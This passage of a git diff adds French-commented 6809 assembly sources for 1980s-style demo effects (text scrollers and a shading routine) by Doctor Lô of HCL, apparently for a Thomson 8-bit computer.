+ STA -120,X
+ STB -80,X
+ PULU D
+ STA -40,X
+ STB ,X
+ PULU D
+ STA 40,X
+ STB 80,X
+ PULU A
+ STA 120,X
+ LEAX 280,X
+ DEC <Z
+ BNE COPYB2
+ PULU D
+ STA -120,X
+ STB -80,X
+
+ LDA #HAUT
+ STA <Z
+ LDU #RAMB+1
+SCRLB2 PULU D,X,Y,S
+ LEAU -1,U
+ PSHU S,Y,X,D
+ LEAU 9,U
+ FDB $3776,$335F,$3676,$3349
+ FDB $3776,$335F,$3676,$3349
+ FDB $3776,$335F,$3676,$3349
+ FDB $3776,$335F,$3676,$3349
+ DEC <Z
+ BNE SCRLB2
+ CLR RAMB+HAUT*40
+
+ TST $E7C8
+ LBEQ SYNCRO
+
+ LDS #0
+RDP LDD #0
+ TFR A,DP
+ STB $E7E6
+ CLR $E7DD
+ CLR $E7DC
+ LDA #255
+ LDX #COLORS
+ JSR $EC00
+ SWI
+
+COLORS FDB 0,15,240,255,3840,3855
+ FDB 4080,4095,1911,826,931
+ FDB 938,2611,2618,3815,123
+ FDB 0,$FFF,$EEE,$DDD,$CCC,$BBB
+ FDB $AAA,$999,$888,$777,$666
+ FDB $555,$444,$333,$222,$111
+TEXTE FCB 1,2,3,4,5,6,7,8,9,0
+
+ END
diff --git a/code/3rdparty/sources2-hcl/SCROLL++.ASM b/code/3rdparty/sources2-hcl/SCROLL++.ASM
new file mode 100644
index 0000000..386c931
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/SCROLL++.ASM
@@ -0,0 +1,123 @@
+****************************************
+* Scrolling segment par segment. *
+* D'une taille conséquente. *
+* *
+* Je pourrais gagner un peu de temps *
+* CPU en faisant du code généré, mais *
+* quoi ! On n'est pas des bêtes... *
+****************************************
+
+SIZE EQU HAUT*LONG/4
+FONTE EQU $0000-SIZE*2
+RAMA EQU $DF18-HAUT*40
+HAUT EQU 112 multiple de 8 !
+LONG EQU 5 segments par CHR$
+DIR EQU $9F } début buffer
+Z EQU 0 } à accès direct
+CARTOU EQU 15 page $0000-$3FFF
+ZZ EQU DIR*256+Z
+
+ ORG DIR*256+Z
+ FDB 1,TEXTE,FONTE
+
+ ORG $9800
+G ORCC #80
+ LDD $E7E5
+ PSHS D,DP
+ LDA #DIR
+ TFR A,DP
+ STS RDP+2
+ CLR $E7E5
+ CLR $E7C5
+
+SYNCRO TST $E7E7
+ BPL *-3
+ TST $E7E7
+ BMI *-3
+
+ LDD #8
+ STA $E7DB pour voir le temps
+ STB $E7DA CPU qu'il reste.
+ STA $E7DA
+
+ LDX #RAMA+160
+ LDU <Z+4
+ LDA #HAUT/8
+ STA <Z
+COPYA PULU D
+ STA -120,X
+ STB -80,X
+ PULU D
+ STA -40,X
+ STB ,X
+ PULU D
+ STA 40,X
+ STB 80,X
+ PULU D
+ STA 120,X
+ STB 160,X
+ LEAX 280,X
+ DEC <Z
+ BNE COPYA
+ PULU D
+ STU <Z+4
+
+ TFR DP,A
+ STA <Z+6
+ LDA #HAUT/2
+ STA ZZ
+ LDU #RAMA+1
+ LDS #RAMA+8
+SCROLA PULU CC,A,B,DP,X,Y
+ PSHS Y,X,DP,B,A,CC
+ LEAS 16,S
+ FDB $373F,$343F,$32E8,$1037
+ FDB $3F34,$3F32,$E810
+ FDB $373F,$343F,$32E8,$1037
+ FDB $3F34,$3F32,$E810
+ FDB $373F,$343F,$32E8,$1037
+ FDB $3F34,$3F32,$E810
+ FDB $373F,$343F,$32E8,$1037
+ FDB $3F34,$3F32,$E810
+ FDB $373F,$343F,$32E8
+ FCB 16
+ DEC ZZ
+ BNE SCROLA
+ CLR RAMA+HAUT*40
+
+ LDA ZZ+6
+ TFR A,DP
+
+ LDD #0
+ STA $E7DB pour voir le temps
+ STB $E7DA CPU qu'il reste.
+ STA $E7DA
+
+ TST $E7C8
+ BNE RDP
+ DEC <Z+1
+ LBNE SYNCRO
+
+ LDA #LONG
+ STA <Z+1
+ LDX <Z+2 lettre suivante
+ LDA ,X+
+ BNE *+7
+ LDX #TEXTE
+ LDA ,X+
+ LDU #FONTE
+ LDB #SIZE
+ ASLA
+ MUL
+ LEAU D,U
+ STU <Z+4
+ STX <Z+2
+ JMP SYNCRO
+
+RDP LDS #0
+ PULS D,DP
+ STD $E7E5
+ SWI
+TEXTE FCB 1,2,3,4,5,6,7,8,9,0
+
+ END
diff --git a/code/3rdparty/sources2-hcl/SCROLL.ASM b/code/3rdparty/sources2-hcl/SCROLL.ASM
new file mode 100644
index 0000000..4fc42a2
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/SCROLL.ASM
@@ -0,0 +1,119 @@
+****************************************
+* E A S Y S C R O L L E R *
+* (c) Doctor Lô of HCL for Micro-News *
+****************************************
+
+TEXTE EQU $DF30 Le début du texte
+SCREEN EQU $5E00 Position à l'écran
+VARPGE EQU $DF Page des variables
+FONT76 EQU $F4 Les 8 lignes de la
+FONT54 EQU $F6 lettre courante
+FONT32 EQU $F8 (lue à l'envers->
+FONT10 EQU $FA ligne 7 à ligne 0)
+NBPASS EQU $FC compteur passages
+SPEED EQU $FD vitesse (de 1 à 8)
+COLUMN EQU $FE compteur colonnes
+
+
+ ORG $DF30
+G PSHS U,Y,X,DP,B,A,CC Sauve regs
+ ORCC #80 Interruptions OFF
+ LDA $E7C3 Partie "points" de
+ ORA #1 la mémoire écran
+ STA $E7C3 sélectionnée
+ LDB #VARPGE Pour accès direct
+ TFR B,DP aux "variables"
+ LDY #TEXTE A faire défiler
+
+SYNCRO LDA $E7E7 Boucle tant que
+ BPL *-3 spot dans le bord
+ LDA $E7E7 Boucle tant que
+ BMI *-3 spot dans l'écran
+
+ LDB <SPEED Vitesse du scroll
+ STB <NBPASS ->nombre de passes
+SCROLL LDX #SCREEN+20 Position écran
+ LDU #VARPGE*256+FONT10+2 CHR$
+ LDA #8 Hauteur du scroll
+DOLINE ASL ,-U Décalage ds buffer
+ ROL 19,X Décalage à l'écran
+ ROL 18,X des 40 octets qui
+ ROL 17,X forment une ligne.
+ ROL 16,X Il est beaucoup
+ ROL 15,X plus rapide de
+ ROL 14,X faire comme ici 40
+ ROL 13,X décalages indexés
+ ROL 12,X par rapport au
+ ROL 11,X centre de la ligne
+ ROL 10,X courante, que de
+ ROL 9,X faire une boucle
+ ROL 8,X avec un compteur
+ ROL 7,X décrémenté 40 fois
+ ROL 6,X qui répéterait
+ ROL 5,X une instruction de
+ ROL 4,X décalage avec pré-
+ ROL 3,X décrémentation du
+ ROL 2,X registre d'index :
+ ROL 1,X { LDB #40
+ ROL ,X ROL ,-X
+ ROL -1,X DECB
+ ROL -2,X BNE *-3 }
+ ROL -3,X =562 microsecondes
+ ROL -4,X tandis que la
+ ROL -5,X méthode ci-contre
+ ROL -6,X n'utilise que
+ ROL -7,X 279 microsecondes!
+ ROL -8,X
+ ROL -9,X Evidemment,le code
+ ROL -10,X s'en trouve bien
+ ROL -11,X rallongé, mais ne
+ ROL -12,X sacrifierait-on
+ ROL -13,X pas volontiers
+ ROL -14,X quelques octets
+ ROL -15,X à une routine
+ ROL -16,X permettant une
+ ROL -17,X animation 2 fois
+ ROL -18,X plus rapide ?!
+ ROL -19,X - Oh YES!, Doc' !
+ ROL -20,X
+ LEAX 40,X Descend d'1 ligne
+ DECA 8 lignes décalées?
+ BNE DOLINE Non: on continue !
+
+
+ DEC <COLUMN 8 colonnes passées
+ BNE EOPASS Non: fin de passe
+ LDA #8 Ré-initialise le
+ STA <COLUMN compteur à 8 cols.
+NXTCHR LDB ,-Y Lettre suivante
+ BPL CHAROK >0: lettre normale
+ COMB <0: code=255-code
+ BNE NEWSPD >0: pas "The_End"
+ LDY #TEXTE Recommence au tout
+ BRA NXTCHR début du texte...
+
+NEWSPD STB <SPEED -> considère comme
+ BRA NXTCHR nouvelle vitesse !
+
+CHAROK MUL Offset=(ASC-32)*8
+ LDU >$60CF Début des fontes
+ LEAU D,U + offset du CHR$
+ PULU D,X Copie du graphisme
+ STD <FONT76 de notre lettre
+ STX <FONT54 dans le buffer,
+ PULU D,X où il sera décalé
+ STD <FONT32 huit fois vers la
+ STX <FONT10 gauche.
+
+
+EOPASS DEC <NBPASS Vitesse atteinte ?
+ LBNE SCROLL Non: autre passage
+ LDA $E7C8 touche frappée ?
+ LBEQ SYNCRO Non: continue...
+ PULS CC,A,B,DP,X,Y,U,PC *FIN*
+
+ ORG VARPGE*256+FONT76
+ FDB 0,0,0,0 lettre courante
+ FCB 0,6,1,0 *,vitesse,colonnes
+
+ END
diff --git a/code/3rdparty/sources2-hcl/SCROLLER.ASM b/code/3rdparty/sources2-hcl/SCROLLER.ASM
new file mode 100644
index 0000000..6c33a3b
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/SCROLLER.ASM
@@ -0,0 +1,602 @@
+****************************************
+* *
+* MEGASCROLLER BY DOCTOR LO FROM HCL *
+* *
+****************************************
+* Taille 42*6
+
+PALETS EQU TEXTE-224
+TEXTE EQU $7800
+TAMP EQU $9E60
+FONTES EQU $9F08
+RAMA EQU $DF18-42*40
+RAMB EQU RAMA-$2000
+DIR EQU $9E
+Z EQU $58
+ZZ EQU DIR*256+Z
+
+
+ ORG $9800
+G ORCC #80
+ LDA #$E7
+ EXG A,DP
+ STA RDP+1
+ STS RDP-2
+
+ LDU #ZZ
+ CLR ,U+
+ LDD #TEXTE
+ STD ,U++
+ LDA #6
+ STA ,U
+ LDX #TAMP
+ CLR ,X+
+ CMPX #$A000
+ BNE *-5
+ LDY #COLORS-14
+ LDU #PALETS
+ LDX #15
+ LDA #16
+ STA ZZ
+ LDD ,Y++
+ BEQ *+13
+ STX ,U++
+ DEC ZZ
+ BEQ *-14
+ LEAX D,X
+ BRA *-9
+
+ LDA #$21
+ STA <$DC
+ LDA #2
+ STA <$E5
+ LDD #0
+ LDX #$A000
+ STD ,X++
+ CMPX #$E000
+ BNE *-5
+ INC <$E5
+ STD ,--X
+ CMPX #$A000
+ BNE *-5
+ LDA #128
+ STA <$DD
+ LDB #2
+ LDA #32
+ BITA $E7E7
+ BEQ *-3
+ BITA $E7E7
+ BNE *-3
+ TST [D,X]
+ TST [D,X]
+ TST [D,X]
+ TST [D,X]
+ ABX
+ BITA $E7E7
+ BEQ *-12
+ TST <$E7
+ BPL *-2
+ TST <$E7
+ BMI *-2
+
+ LDX #311*64/16
+ TST ,U+
+ LEAX -1,X
+ BNE *-4
+
+ MUL
+ MUL
+ MUL
+ LDA #DIR
+ TFR A,DP
+ TST ,U++
+
+DEBUT LDX #RAMA+160
+ LDU #TAMP
+ LDA #6
+ STA <Z
+COPYA PULU D
+ STA -120,X
+ STB -80,X
+ PULU D
+ STA -40,X
+ STB ,X
+ PULU D
+ STA 40,X
+ STB 80,X
+ PULU A
+ STA 120,X
+ LEAX 280,X
+ DEC <Z
+ BNE COPYA
+
+ LDA #42
+ STA <Z
+ LDU #RAMA+1
+SCROLA PULU D,X,Y,S
+ LEAU -1,U
+ PSHU S,Y,X,D
+ LEAU 9,U
+ FDB $3776,$335F,$3676,$3349
+ FDB $3776,$335F,$3676,$3349
+ FDB $3776,$335F,$3676,$3349
+ FDB $3776,$335F,$3676,$3349
+ DEC <Z
+ BNE SCROLA
+ CLR RAMA+42*40
+
+ LDX #RAMB+160
+ LDU #TAMP+42
+ LDA #6
+ STA <Z
+COPYB PULU D
+ STA -120,X
+ STB -80,X
+ PULU D
+ STA -40,X
+ STB ,X
+ PULU D
+ STA 40,X
+ STB 80,X
+ PULU A
+ STA 120,X
+ LEAX 280,X
+ DEC <Z
+ BNE COPYB
+
+ LDA #42
+ STA <Z
+ LDU #RAMB+1
+SCROLB PULU D,X,Y,S
+ LEAU -1,U
+ PSHU S,Y,X,D
+ LEAU 9,U
+ FDB $3776,$335F,$3676,$3349
+ FDB $3776,$335F,$3676,$3349
+ FDB $3776,$335F,$3676,$3349
+ FDB $3776,$335F,$3676,$3349
+ DEC <Z
+ BNE SCROLB
+ CLR RAMB+42*40
+
+BANK LDA #4
+ STA $E7E5
+ LDU #FONTES
+ LDX <Z+1
+ LDA <Z+3
+ CMPA #6
+ BEQ *+6
+ TST D,X
+ BRA *+7
+ LEAX 0,X * 1,X
+ CLRA
+ TST <Z+3 * CLR
+ LDB #84
+ MUL
+ LEAU D,U
+ TST <Z+3 * INC
+ LDA ,X
+ BRA *+9 * BPL
+ LDY #XCEPT-2
+ NEGA
+ JMP [A,Y]
+ LDB #30
+COGIT2 DECB * label COGITO
+ BNE *-1
+ LDX <Z+1 * STX
+ LDB #252
+ MUL
+ LEAS D,U
+ LDU #TAMP+84
+ FCC /5>6>5>6>/
+ JMP TEMPO
+ LDB #40
+ DECB
+ BNE *-1
+BCKTEM LDX #PALETS
+ LDD #$24E7
+ STA ZZ
+ TFR B,DP
+
+FBUF LDD ,X++
+ STD *+8
+ LDB #6
+ STB <$DB
+ LDD #0
+ STB <$DA
+ STA <$DA
+RPF6 CMPX #PALETS+72
+ BEQ *+4
+ BRA *+5
+RPD6 LDX #PALETS
+ MUL
+ NOP
+ DEC ZZ
+ BNE FBUF
+ LDA <$C8
+ BEQ *+5
+ JMP RDP-4
+ FCC /5>6>5>6>5>6>5>6>5>6>/
+ FCC /5>6>5>6>5>6>5>6>5>6>/
+ NOP
+ NOP
+ LDD #$300+DIR * #$200+DIR
+ STA $E7E5
+ TFR B,DP
+REVIT JMP *+3 * DEBUT
+ LDA #192
+ STA $E7DD
+ LDX #RAMA+160
+ LDU #TAMP+84
+ LDA #6
+ STA <Z
+COPYA2 PULU D
+ STA -120,X
+ STB -80,X
+ PULU D
+ STA -40,X
+ STB ,X
+ PULU D
+ STA 40,X
+ STB 80,X
+ PULU A
+ STA 120,X
+ LEAX 280,X
+ DEC <Z
+ BNE COPYA2
+
+ LDA #42
+ STA <Z
+ LDU #RAMA+1
+SCRLA2 PULU D,X,Y,S
+ LEAU -1,U
+ PSHU S,Y,X,D
+ LEAU 9,U
+ FDB $3776,$335F,$3676,$3349
+ FDB $3776,$335F,$3676,$3349
+ FDB $3776,$335F,$3676,$3349
+ FDB $3776,$335F,$3676,$3349
+ DEC <Z
+ BNE SCRLA2
+ CLR RAMA+42*40
+
+ LDX #RAMB+160
+ LDU #TAMP+126
+ LDA #6
+ STA <Z
+COPYB2 PULU D
+ STA -120,X
+ STB -80,X
+ PULU D
+ STA -40,X
+ STB ,X
+ PULU D
+ STA 40,X
+ STB 80,X
+ PULU A
+ STA 120,X
+ LEAX 280,X
+ DEC <Z
+ BNE COPYB2
+
+ LDA #42
+ STA <Z
+ LDU #RAMB+1
+SCRLB2 PULU D,X,Y,S
+ LEAU -1,U
+ PSHU S,Y,X,D
+ LEAU 9,U
+ FDB $3776,$335F,$3676,$3349
+ FDB $3776,$335F,$3676,$3349
+ FDB $3776,$335F,$3676,$3349
+ FDB $3776,$335F,$3676,$3349
+ DEC <Z
+ BNE SCRLB2
+ CLR RAMB+42*40
+
+BANK2 LDA #5
+ STA $E7E5
+ LDU #FONTES
+ LDX <Z+1
+ LDA <Z+3
+ CMPA #6
+ BEQ *+6
+ TST D,X
+ BRA *+7
+ LEAX 1,X
+ CLRA
+ CLR <Z+3
+ LDB #84
+ MUL
+ LEAU D,U
+ INC <Z+3
+ LDA ,X
+ BPL *+9
+ LDY #XCEPT-2
+ NEGA
+ JMP [A,Y]
+ LDB #30
+COGITO DECB
+ BNE *-1
+ STX <Z+1
+ LDB #252
+ MUL
+ LEAS D,U
+ LDU #TAMP+168
+ FCC /5>6>5>6>/
+ LDD #40
+ DECB
+ BNE *-1
+BCKTM2 LDX #PALETS
+ LDD #$24E7
+ STA ZZ
+ TFR B,DP
+
+FBUF2 LDD ,X++
+ STD *+8
+ LDB #6
+ STB <$DB
+ LDD #0
+ STB <$DA
+ STA <$DA
+RPF5 CMPX #PALETS+72
+ BEQ *+4
+ BRA *+5
+RPD5 LDX #PALETS
+ MUL
+ NOP
+ DEC ZZ
+ BNE FBUF2
+ FCC /5>6>5>6>5>6>5>6>5>6>/
+ FCC /5>6>5>6>5>6>5>6>5>6>/
+ LDA #128
+ STA $E7DD
+ NOP
+ NOP
+ LDD #$200+DIR
+ STA $E7E5
+ TFR B,DP
+ JMP DEBUT
+
+TEMPO JMP BCKTEM-5
+ROT LDX BCKTEM+1
+ LEAX 2,X
+ CMPX RPF1+1
+ BEQ *+4
+ BRA *+5
+RPD4 LDX #PALETS
+ STX BCKTEM+1
+ LEAX 2,X
+ CMPX RPF1+1
+ BEQ *+4
+ BRA *+5
+RPD3 LDX #PALETS
+ STX BCKTM2+1
+ LDD #29
+ JMP BCKTEM-3
+
+ONROT LDD #ROT
+ STD BCKTEM-7
+ LEAX 1,X
+ LDA ,X
+ LDB #22
+ LBRA RENVOI
+OFROT LDD #TEMPO
+ STD BCKTEM-7
+ LDD BCKTM2+1
+ STD BCKTEM+1
+ LEAX 1,X
+ LDD ,X
+ NOP
+ LDB #19
+ LBRA RENVOI
+WAIT LDY 1,X
+ STX <Z+1
+ LDX BCKTEM+1
+ STX W2-19
+W1 LDD BCKTEM-7
+ LDX W2-19
+ CMPD #ROT
+ BEQ *+5
+ NOP
+ BRA *+4
+ LEAX 1,X
+RPF2 CMPX #PALETS+72
+ BEQ *+4
+ BRA *+5
+RPD2 LDX #PALETS
+ STX W2-19
+ LDB #0
+ LDB #66
+ DECB
+ BNE *-1
+ LDX #PALETS
+ TFR X,D
+ ANDB #254
+ TFR D,X
+ LDD #$24E7
+ STA ZZ
+ TFR B,DP
+ STX BCKTEM+1
+W2 LDD ,X++
+ STD *+8
+ LDB #6
+ STB <$DB
+ LDD #0
+ STB <$DA
+ STA <$DA
+RPF1 CMPX #PALETS+72
+ BEQ *+4
+ BRA *+5
+RPD1 LDX #PALETS
+ MUL
+ NOP
+ DEC ZZ
+ BNE W2
+ TST <$C8
+ BEQ *+5
+ JMP RDP-4
+ LDX #2152
+ LEAX -1,X
+ BNE *-2
+ TST ,X+
+ TST ,X+
+ LEAY -1,Y
+ BNE W1
+ LDD #DIR
+ TFR B,DP
+ LDX W2-19
+ LDD BCKTEM-7
+ CMPD #ROT
+ BEQ *+5
+ NOP
+ BRA *+4
+ LEAX 2,X
+ STX BCKTM2+1
+ LDX <Z+1
+ LEAX 3,X
+ LDA ,X
+ LDB #10
+ LBRA RENVOI
+FIN LDX #TEXTE
+ LDD ,X
+ LDB #24
+ LBRA RENVOI
+BANK4 LEAX 1,X
+ LDD #$405
+ STA BANK+1
+ STB BANK2+1
+ LDD ,X
+ LDB #21
+ LBRA RENVOI
+BANK6 LEAX 1,X
+ LDD #$607
+ STA BANK+1
+ STB BANK2+1
+ LDD ,X
+ LDB #21
+ LBRA RENVOI
+TEINTS LDD 1,X
+ LEAX 3,X
+ STX RPD1+1
+ STX RPD2+1
+ STX RPD3+1
+ STX RPD4+1
+ STX RPD5+1
+ STX RPD6+1
+ STX BCKTM2+1
+ STX BCKTEM+1
+ LEAX D,X
+ STX RPF1+1
+ STX RPF2+1
+ STX RPF5+1
+ STX RPF6+1
+ BRA *+2
+ LDA ,X
+ LDB #6
+ LBRA RENVOI
+SPEED8 LEAX 1,X
+ LDD #DEBUT
+ STD REVIT+1
+ LDD #$29F
+ STA REVIT-7
+ STB COGIT2+3
+ LDD #COGIT2
+ STD RENVOI+1
+ LDD #$10F
+ STA BANK+21
+ STB BANK+23
+ LDD #$C2A
+ STA BANK+30
+ STB BANK+34
+ LDD #$2000
+ STD RPD1+24
+ LDA #$84
+ STA RPD1+27
+ LDD #$6D83
+ STD RPD2+6
+ LDA #2
+ STA RPF2-1
+ LDA ,X
+ LDB #7
+ JMP COGITO
+SPEED4 LEAX 1,X
+ LDD #REVIT+3
+ STD REVIT+1
+ LDD #$39E
+ STA REVIT-7
+ STB COGIT2+3
+ LDD #COGITO
+ STD RENVOI+1
+ LDD #13
+ STA BANK+21
+ STB BANK+23
+ LDD #$D20
+ STA BANK+30
+ STB BANK+34
+ LDD #$6D80
+ STD RPD1+24
+ STD RPD1+26
+ LDD #$C600
+ STD RPD2+6
+ LDA #1
+ STA RPF2-1
+ INC $E7E5
+ LDD ,X
+ LDB #7
+ JMP COGITO
+RELIEF LDA #2
+ STA $E7DB
+ LDD 1,X
+ STB $E7DA
+ STA $E7DA
+ LDD 3,X
+ STB $E7DA
+ STA $E7DA
+ LEAX 5,X
+ LDA ,X
+ LDB #16
+ LBRA RENVOI
+SPEPAL LDD 1,X
+ STD RPD1+1
+ STD RPD2+1
+ STD RPD3+1
+ STD RPD4+1
+ STD RPD5+1
+ STD RPD6+1
+ STD BCKTM2+1
+ STD BCKTEM+1
+ LDD 3,X
+ STD RPF1+1
+ STD RPF2+1
+ STD RPF5+1
+ STD RPF6+1
+ LEAX 5,X
+ LDA ,X
+ LDB #7
+ LBRA RENVOI
+
+XCEPT FDB FIN,ONROT,OFROT,WAIT
+ FDB BANK4,BANK6,TEINTS
+ FDB SPEED8,SPEED4,RELIEF
+ FDB SPEPAL
+
+RENVOI JMP COGITO
+
+ LDS #0
+RDP LDA #0
+ TFR A,DP
+ CLR $E7DD
+ CLR $E7DC
+ LDA #255
+ LDX #COLORS
+ JSR $EC00
+ RTS
+
+ FDB $0010,$FFFF,$0100,$FFF0
+ FDB $0001,$0010,$FEF0
+COLORS FDB 0,15,240,255,3840,3855
+ FDB 4080,4095,1911,826,931
+ FDB 938,2611,2618,3815,123
+
+ END
diff --git a/code/3rdparty/sources2-hcl/SCROVER.ASM b/code/3rdparty/sources2-hcl/SCROVER.ASM
new file mode 100644
index 0000000..fba8340
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/SCROVER.ASM
@@ -0,0 +1,193 @@
+****************************************
+* OVERSCROLLER *
+****************************************
+
+
+FONTS EQU $8800 dessin des lettres
+TEXTE EQU $8000 délire méga-Lô...
+ZZ EQU $9F00 variables
+COMPTS EQU $9F02 compteurs (visu)
+HAUT EQU 256 taille totale (Y)
+BLKHIG EQU 16 hauteur d'un bloc
+TAILLE SET HAUT/BLKHIG
+
+ ORG TEXTE
+ FCB 8,5,12,12,15,0,23,15,18,12
+ FCB 4,0,0,-1
+
+ ORG $9000
+G ORCC #80
+ PSHS DP
+ LDA #$E7
+ TFR A,DP
+ LDD #$3E4 page 3 en rouge
+ STA <$E5
+ LDX #$A000
+ STB ,X+
+ CMPX #$BF40
+ BNE *-5
+
+* constitution de la routine d'affichage
+
+ LDU #COMPTS
+ LDY #VISU+3
+ LDX #TAILLE
+MKPRG LDD #$97DD
+ STD ,Y++
+ STD ,Y++
+ STD ,Y++
+ STD ,Y++
+ STD ,Y++
+ STD ,Y++
+ STD ,Y++
+ STD ,Y++
+ STD ,Y++
+ STD ,Y++
+ STD ,Y++
+ STD ,Y++
+ STD ,Y++
+ LDD #$127A
+ STD ,Y++
+ STU ,Y++
+ LDD #$26E0
+ STD ,Y++
+ LDA #BLKHIG
+ STA ,U+
+ LEAX -1,X
+ BNE MKPRG
+ LDD #$0FDD
+ STD ,Y++
+ LDA #$39
+ STA ,Y+
+
+ LDD #$40A
+ STD ZZ
+ LDU #FONTS caractère courant
+ LDY #TEXTE où dans le scroll
+ JSR SYNCRO
+GOON JSR VISU
+ LDD #TAILLE*256+BLKHIG
+ LDX #COMPTS
+ STB ,X+
+ DECA
+ BNE *-3
+
+ DEC ZZ
+ BEQ NEXLIG
+ LDX #$1A4 même écran, décalé
+ LEAX -1,X
+ BNE *-2
+ ABX
+ BRA GOON
+
+NEXLIG LDA #4
+ STA ZZ
+
+ LDB #TAILLE
+ LDX #VISU+15
+SCROL LDA -10,X
+ STA -12,X
+ LDA -8,X
+ STA -10,X
+ LDA -6,X
+ STA -8,X
+ LDA -4,X
+ STA -6,X
+ LDA -2,X
+ STA -4,X
+ LDA ,X
+ STA -2,X
+ LDA 2,X
+ STA ,X
+ LDA 4,X
+ STA 2,X
+ LDA 6,X
+ STA 4,X
+ LDA 8,X
+ STA 6,X
+ LDA 10,X
+ STA 8,X
+ LDA 12,X
+ STA 10,X
+BITST LDA #128
+ BITA ,U+ forme du caractère
+ BNE *+6
+ LDA #$97 bloc vide
+ BRA *+6
+ LDA #$D7 bloc plein
+ BRA *+2
+ STA 12,X
+ LEAX 32,X
+ DECB
+ BNE SCROL
+ LEAU -TAILLE,U
+ LSR BITST+1
+ DEC ZZ+1 encore x bits
+ BEQ NEXLET
+ LDX #6
+ LEAX -1,X
+ BNE *-2
+ NOP
+ BRA JOIN
+
+NEXLET LDD #$A80
+ STA ZZ+1
+ STB BITST+1
+ LDA ,Y+ caractère suivant
+ BLT FINTXT
+ TST A,X
+ BRA *+8
+FINTXT LDY #TEXTE
+ LDA ,Y+
+ LDB #TAILLE
+ MUL
+ LDU #FONTS
+ LEAU D,U
+
+JOIN LDX #$6E
+ LEAX -1,X
+ BNE *-2
+ NOP
+ NOP
+ TST <$C8
+ LBEQ GOON
+
+ PULS DP
+ SWI
+
+SYNCRO LDA #32
+ BITA <$E7
+ BEQ *-2
+ BITA <$E7
+ BNE *-2
+ PSHS A
+ MUL
+ MUL
+ MUL
+ MUL
+ PULS A
+ BITA <$E7
+ BEQ *-10
+ MUL
+ MUL
+ MUL
+ MUL
+ MUL
+ TST <$E7
+ BPL *-7
+ MUL
+ MUL
+ MUL
+ MUL
+ MUL
+ TST <$E7
+ BMI *-7
+ LDX #$2B7
+ LEAX -1,X
+ BNE *-2
+ NOP
+ RTS
+
+VISU LDD #$00C4
+
+ END
diff --git a/code/3rdparty/sources2-hcl/SHADE.ASM b/code/3rdparty/sources2-hcl/SHADE.ASM
new file mode 100644
index 0000000..4f58408
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/SHADE.ASM
@@ -0,0 +1,204 @@
+****************************************
+* S H A D E R *
+****************************************
+
+HAUT EQU 160 hauteur à traiter
+SIZE EQU 1 taille de la bande
+DIR EQU $9A
+SEGMNT EQU 0 abcisse @ 8
+BITTST EQU SEGMNT+1 bit à tester
+PIXOFF EQU BITTST+1 masque effaceur
+BANDE1 EQU PIXOFF+1 nb pixels changés
+BANDE2 EQU BANDE1+1
+LIGNE EQU BANDE2+1
+
+ ORG $9800
+G PSHS U,X,DP,B,A,CC
+ ORCC #80
+ LDA #DIR
+ TFR A,DP
+ CLR $E7E5
+
+ LDX #$A000
+ LDU #$C000+40*(HAUT-1)
+ LDA #40
+ STA <SEGMNT
+ LDA #128
+
+FORX STA <BITTST
+ COMA
+ STA <PIXOFF
+ LDA #HAUT
+
+FORY1 LDB ,X
+ BITB <BITTST
+ BNE LIGHT1
+ LDB $2000,X
+ BITB <BITTST
+ BNE LIGHT1
+
+*** On rencontre un pixel éteint
+
+ CLR <BANDE1
+ BRA NEXTY1
+
+*** On rencontre un pixel allumé
+
+LIGHT1 LDB <BANDE1 la bande n'est pas
+ CMPB #SIZE encore totalement
+ BLO COUL1 dessinéee
+
+ TFR A,B le numéro de ligne
+ ANDB #31 n'indique pas un
+ BNE NEXTY1 début de lettre
+ CLR <BANDE1
+
+COUL1 LDB ,X
+ ANDB <PIXOFF change de couleur
+ STB ,X
+ LDB $2000,X
+ ORB <BITTST
+ STB $2000,X
+ INC <BANDE1
+
+NEXTY1 LEAX 40,X
+ DECA
+ BNE FORY1
+
+ LDA #HAUT
+FORY2 LDB ,U
+ BITB <BITTST
+ BNE DARK1
+ LDB -$2000,U
+ BITB <BITTST
+ BNE DARK1
+ CLR <BANDE2
+ BRA NEXTY2
+DARK1 LDB <BANDE2
+ CMPB #SIZE
+ BLO COUL2
+ TFR A,B
+ ANDB #31
+ BNE NEXTY2
+ CLR <BANDE2
+COUL2 LDB ,U
+ ANDB <PIXOFF
+ STB ,U
+ LDB -$2000,U
+ ORB <BITTST
+ STB -$2000,U
+ INC <BANDE2
+NEXTY2 LEAU -40,U
+ DECA
+ BNE FORY2
+
+ LEAX -HAUT*40,X
+ LEAU HAUT*40,U
+ LDA <BITTST
+ LSRA
+ LBNE FORX
+ LDA #128
+ LEAX 1,X
+ LEAU 1,U
+ DEC <SEGMNT
+ LBNE FORX
+
+LATRAL LDX #$A000+(HAUT-1)*40
+ LDU #$C027+(HAUT-1)*40
+ LDA #HAUT
+ STA <LIGNE
+
+FORY3 LDA #40
+ STA <SEGMNT
+ LDA #1
+FORX2 STA <BITTST
+ COMA
+ STA <PIXOFF
+
+ LDB ,U
+ BITB <BITTST
+ BNE DARK2
+ LDB -$2000,U
+ BITB <BITTST
+ BNE DARK2
+
+ CLR <BANDE2
+ BRA NEXTX
+
+DARK2 LDB <BANDE2
+ CMPB #SIZE
+ BLO COUL3
+
+ LDB <SEGMNT
+ ANDB #3
+ BNE NEXTX
+ CMPA #$FE
+ BNE NEXTX
+ CLR <BANDE2
+
+COUL3 LDB ,U
+ ANDB <PIXOFF
+ STB ,U
+ LDB -$2000,U
+ ORB <BITTST
+ STB -$2000,U
+ INC <BANDE2
+
+NEXTX LDA <BITTST
+ ASLA
+ BNE FORX2
+ LEAU -1,U
+ LDA #1
+ DEC <SEGMNT
+ BNE FORX2
+
+ LDA #40
+ STA <SEGMNT
+ LDA #128
+FORX3 STA <BITTST
+ COMA
+ STA <PIXOFF
+
+ LDB ,X
+ BITB <BITTST
+ BNE LIGHT2
+ LDB $2000,X
+ BITB <BITTST
+ BNE LIGHT2
+
+ CLR <BANDE1
+ BRA NEXTX2
+
+LIGHT2 LDB <BANDE1
+ CMPB #SIZE
+ BLO COUL4
+
+ LDB <SEGMNT
+ ANDB #3
+ BNE NEXTX2
+ CMPA #$7F
+ BNE NEXTX2
+ CLR <BANDE1
+
+COUL4 LDB ,X
+ ANDB <PIXOFF
+ STB ,X
+ LDB $2000,X
+ ORB <BITTST
+ STB $2000,X
+ INC <BANDE1
+
+NEXTX2 LDA <BITTST
+ LSRA
+ BNE FORX3
